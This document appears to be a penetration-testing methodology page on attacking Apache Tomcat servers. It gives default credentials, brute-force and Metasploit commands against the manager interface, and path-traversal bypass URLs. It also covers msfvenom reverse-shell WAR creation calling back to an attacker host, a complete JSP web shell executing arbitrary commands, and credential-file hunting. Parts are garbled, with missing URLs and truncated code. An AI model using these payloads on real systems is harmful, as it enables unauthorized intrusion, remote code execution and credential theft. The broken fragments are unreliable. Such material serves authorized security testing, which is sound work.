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  • It usually runs on port 8080

  • Common Tomcat error:


Version Identification

To find the version of Apache Tomcat, a simple command can be executed:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat 

This will search for the term "Tomcat" in the documentation index page, revealing the version in the title tag of the HTML response.

Manager Files Location

Identifying the exact locations of /manager and /host-manager directories is crucial as their names might be altered. A brute-force search is recommended to locate these pages.

Username Enumeration

For Tomcat versions older than 6, it's possible to enumerate usernames through:

msf> use auxiliary/scanner/http/tomcat_enum

Default Credentials

The /manager/html directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

These credentials can be tested using:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Another notable directory is /manager/status, which displays the Tomcat and OS version, aiding in vulnerability identification.

Brute Force Attack

To attempt a brute force attack on the manager directory, one can use:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Common Vulnerabilities

Password Backtrace Disclosure

Accessing /auth.jsp may reveal the password in a backtrace under fortunate circumstances.

Double URL Encoding

The CVE-2007-1860 vulnerability in mod_jk allows for double URL encoding path traversal, enabling unauthorized access to the management interface via a specially crafted URL.

In order to access to the management web of the Tomcat go to: pathTomcat/%252E%252E/manager/html


Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible to information disclosure and cross-site scripting (XSS) attacks. These scripts, listed comprehensively, should be checked for unauthorized access and potential exploitation. Find more info here

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

Path Traversal Exploit

In some vulnerable configurations of Tomcat you can gain access to protected directories in Tomcat using the path: /..;/

So, for example, you might be able to access the Tomcat manager page by accessing:;/manager/html

Another way to bypass protected paths using this trick is to access;param=value/manager/html


Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).


You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script). Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions) (see POST section).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"


use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Create the war to deploy:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. Upload the revshell.war file and access to it (/revshell/):

Bind and reverse shell with

In some scenarios this doesn't work (for example old versions of sun)


git clone

Reverse shell

./ -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./ -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Using Culsterd -i -a tomcat -v 5.5 --gen-payload --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

Create index.jsp with this content:

<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
<%@ page import="*" %>
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

You could also install this (allows upload, download and command execution):

Manual Method 2

Get a JSP web shell such as this and create a WAR file:

zip -r backup.war cmd.jsp 
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp


Name of Tomcat credentials file is tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Other ways to gather Tomcat credentials:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Other tomcat scanning tools


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